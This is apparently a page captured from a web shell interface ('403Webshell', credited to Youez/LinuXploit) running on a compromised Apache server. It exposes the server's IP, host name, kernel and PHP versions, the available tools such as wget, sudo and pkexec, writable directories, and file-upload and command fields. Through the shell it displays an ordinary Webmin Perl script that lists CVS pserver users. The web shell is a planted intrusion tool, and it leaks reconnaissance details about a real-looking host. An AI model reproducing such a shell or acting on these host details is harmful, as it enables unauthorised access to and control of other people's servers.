403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/13386/root/usr/libexec/webmin/pserver/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/13386/root/usr/libexec/webmin/pserver/list_passwd.cgi
#!/usr/bin/perl
# list_passwd.cgi
# Display all the cvs server users

require './pserver-lib.pl';
$access{'passwd'} || &error($text{'passwd_ecannot'});
&ui_print_header(undef, $text{'passwd_title'}, "");

print "$text{'passwd_desc'}<p>\n";
@passwd = &list_passwords();
@links = ( "<a href='edit_passwd.cgi?new=1'>$text{'passwd_add'}</a>" );
if (@passwd) {
	print &ui_links_row(\@links);
	print "<table border width=100%>\n";
	print "<tr $tb> <td><b>$text{'passwd_header'}</b></td> </tr>\n";
	print "<tr $cb> <td><table width=100%>\n";

	$i = 0;
	foreach $p (@passwd) {
		print "<tr>\n" if ($i%4 == 0);
		print "<td width=25%>\n";
		print "<a href='edit_passwd.cgi?idx=$p->{'index'}'>";
		print $p->{'user'};
		if ($p->{'unix'}) {
			print "</a> ($p->{'unix'})</td>";
			}
		else {
			print "</a></td>\n";
			}
		print "</tr>\n" if ($i%4 == 3);
		$i++;
		}
	while($i++%4) { print "<td width=25%></td>\n"; }

	print "</table></td></tr></table>\n";
	}
else {
	print "<b>$text{'passwd_none'}</b><p>\n";
	}
print &ui_links_row(\@links);

print &ui_hr();
print "<form action=save_sync.cgi>\n";
print "$text{'passwd_sync'}<p>\n";
printf "<input type=checkbox name=sync_create value=1 %s> %s<br>\n",
	$config{'sync_create'} ? "checked" : "", $text{'passwd_sync_create'};
print "&nbsp;" x 5,$text{'edit_unix'},"\n";
printf "<input type=radio name=sync_mode value=0 %s> %s\n",
	$config{'sync_user'} ? "" : "checked", $text{'edit_unixdef'};
printf "<input type=radio name=sync_mode value=1 %s>\n",
	$config{'sync_user'} ? "checked" : "";
print &unix_user_input("sync_user", $config{'sync_user'}),"<br>\n";
printf "<input type=checkbox name=sync_modify value=1 %s> %s<br>\n",
	$config{'sync_modify'} ? "checked" : "", $text{'passwd_sync_modify'};
printf "<input type=checkbox name=sync_delete value=1 %s> %s<p>\n",
	$config{'sync_delete'} ? "checked" : "", $text{'passwd_sync_delete'};

print "<input type=submit value='$text{'save'}'></form>\n";

&ui_print_footer("", $text{'index_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit